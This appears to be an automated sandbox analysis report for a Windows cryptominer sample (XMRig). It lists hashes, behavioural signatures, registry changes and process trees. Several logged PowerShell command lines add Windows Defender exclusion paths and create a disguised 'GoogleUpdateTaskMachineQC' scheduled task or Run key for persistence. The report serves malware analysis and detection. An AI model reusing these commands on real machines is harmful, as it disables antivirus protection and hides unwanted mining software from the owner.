Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1799s - max time network
1786s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
- Target grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
- Size 2.0MB
- Sample240123-x6bvbafgem
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 4436 created 3408 4436 Be5sCbvuma2nkHDa.exe 46 PID 4436 created 3408 4436 Be5sCbvuma2nkHDa.exe 46 PID 4436 created 3408 4436 Be5sCbvuma2nkHDa.exe 46 PID 4436 created 3408 4436 Be5sCbvuma2nkHDa.exe 46 PID 4856 created 3408 4856 updater.exe 46 PID 4856 created 3408 4856 updater.exe 46 PID 4856 created 3408 4856 updater.exe 46 PID 4504 created 3408 4504 conhost.exe 46 PID 4856 created 3408 4856 updater.exe 46 - XMRig Miner payload 31 IoCs
resource yara_rule behavioral8/memory/1428-121-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-127-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-131-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-132-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-134-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-138-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-140-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-142-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-144-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-146-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-148-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-150-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-152-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-154-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-156-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-158-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-160-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-162-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-164-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-166-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-168-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-170-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-172-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-174-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-176-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-178-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-180-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-182-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-184-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-186-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig behavioral8/memory/1428-188-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 4856 updater.exe -
resource yara_rule behavioral8/memory/1428-121-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-127-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-131-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-132-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-134-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-138-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-140-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-142-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-144-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-146-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-148-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-150-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-152-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-154-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-156-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-158-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-160-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-162-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-164-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-166-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-168-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-170-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-172-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-174-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-176-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-178-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-180-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-182-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-184-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-186-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx behavioral8/memory/1428-188-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4856 set thread context of 4504 4856 updater.exe 117 PID 4856 set thread context of 1428 4856 updater.exe 111 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe Be5sCbvuma2nkHDa.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1960 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4436 Be5sCbvuma2nkHDa.exe 4436 Be5sCbvuma2nkHDa.exe 2160 powershell.exe 2160 powershell.exe 4436 Be5sCbvuma2nkHDa.exe 4436 Be5sCbvuma2nkHDa.exe 4156 powershell.exe 4156 powershell.exe 4436 Be5sCbvuma2nkHDa.exe 4436 Be5sCbvuma2nkHDa.exe 4436 Be5sCbvuma2nkHDa.exe 4436 Be5sCbvuma2nkHDa.exe 3652 powershell.exe 3652 powershell.exe 4856 updater.exe 4856 updater.exe 4364 powershell.exe 4364 powershell.exe 4856 updater.exe 4856 updater.exe 3180 powershell.exe 3180 powershell.exe 4856 updater.exe 4856 updater.exe 4856 updater.exe 4856 updater.exe 4504 conhost.exe 4504 conhost.exe 4856 updater.exe 4856 updater.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2160 powershell.exe Token: SeDebugPrivilege 4156 powershell.exe Token: SeIncreaseQuotaPrivilege 4156 powershell.exe Token: SeSecurityPrivilege 4156 powershell.exe Token: SeTakeOwnershipPrivilege 4156 powershell.exe Token: SeLoadDriverPrivilege 4156 powershell.exe Token: SeSystemProfilePrivilege 4156 powershell.exe Token: SeSystemtimePrivilege 4156 powershell.exe Token: SeProfSingleProcessPrivilege 4156 powershell.exe Token: SeIncBasePriorityPrivilege 4156 powershell.exe Token: SeCreatePagefilePrivilege 4156 powershell.exe Token: SeBackupPrivilege 4156 powershell.exe Token: SeRestorePrivilege 4156 powershell.exe Token: SeShutdownPrivilege 4156 powershell.exe Token: SeDebugPrivilege 4156 powershell.exe Token: SeSystemEnvironmentPrivilege 4156 powershell.exe Token: SeRemoteShutdownPrivilege 4156 powershell.exe Token: SeUndockPrivilege 4156 powershell.exe Token: SeManageVolumePrivilege 4156 powershell.exe Token: 33 4156 powershell.exe Token: 34 4156 powershell.exe Token: 35 4156 powershell.exe Token: 36 4156 powershell.exe Token: SeIncreaseQuotaPrivilege 4156 powershell.exe Token: SeSecurityPrivilege 4156 powershell.exe Token: SeTakeOwnershipPrivilege 4156 powershell.exe Token: SeLoadDriverPrivilege 4156 powershell.exe Token: SeSystemProfilePrivilege 4156 powershell.exe Token: SeSystemtimePrivilege 4156 powershell.exe Token: SeProfSingleProcessPrivilege 4156 powershell.exe Token: SeIncBasePriorityPrivilege 4156 powershell.exe Token: SeCreatePagefilePrivilege 4156 powershell.exe Token: SeBackupPrivilege 4156 powershell.exe Token: SeRestorePrivilege 4156 powershell.exe Token: SeShutdownPrivilege 4156 powershell.exe Token: SeDebugPrivilege 4156 powershell.exe Token: SeSystemEnvironmentPrivilege 4156 powershell.exe Token: SeRemoteShutdownPrivilege 4156 powershell.exe Token: SeUndockPrivilege 4156 powershell.exe Token: SeManageVolumePrivilege 4156 powershell.exe Token: 33 4156 powershell.exe Token: 34 4156 powershell.exe Token: 35 4156 powershell.exe Token: 36 4156 powershell.exe Token: SeIncreaseQuotaPrivilege 4156 powershell.exe Token: SeSecurityPrivilege 4156 powershell.exe Token: SeTakeOwnershipPrivilege 4156 powershell.exe Token: SeLoadDriverPrivilege 4156 powershell.exe Token: SeSystemProfilePrivilege 4156 powershell.exe Token: SeSystemtimePrivilege 4156 powershell.exe Token: SeProfSingleProcessPrivilege 4156 powershell.exe Token: SeIncBasePriorityPrivilege 4156 powershell.exe Token: SeCreatePagefilePrivilege 4156 powershell.exe Token: SeBackupPrivilege 4156 powershell.exe Token: SeRestorePrivilege 4156 powershell.exe Token: SeShutdownPrivilege 4156 powershell.exe Token: SeDebugPrivilege 4156 powershell.exe Token: SeSystemEnvironmentPrivilege 4156 powershell.exe Token: SeRemoteShutdownPrivilege 4156 powershell.exe Token: SeUndockPrivilege 4156 powershell.exe Token: SeManageVolumePrivilege 4156 powershell.exe Token: 33 4156 powershell.exe Token: 34 4156 powershell.exe Token: 35 4156 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1360 wrote to memory of 1500 1360 cmd.exe 100 PID 1360 wrote to memory of 1500 1360 cmd.exe 100 PID 3652 wrote to memory of 3516 3652 powershell.exe 104 PID 3652 wrote to memory of 3516 3652 powershell.exe 104 PID 4856 wrote to memory of 4504 4856 updater.exe 117 PID 1376 wrote to memory of 1960 1376 cmd.exe 112 PID 1376 wrote to memory of 1960 1376 cmd.exe 112 PID 4856 wrote to memory of 1428 4856 updater.exe 111 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3408
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4436
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2160
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4156
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1360
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3516
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4364
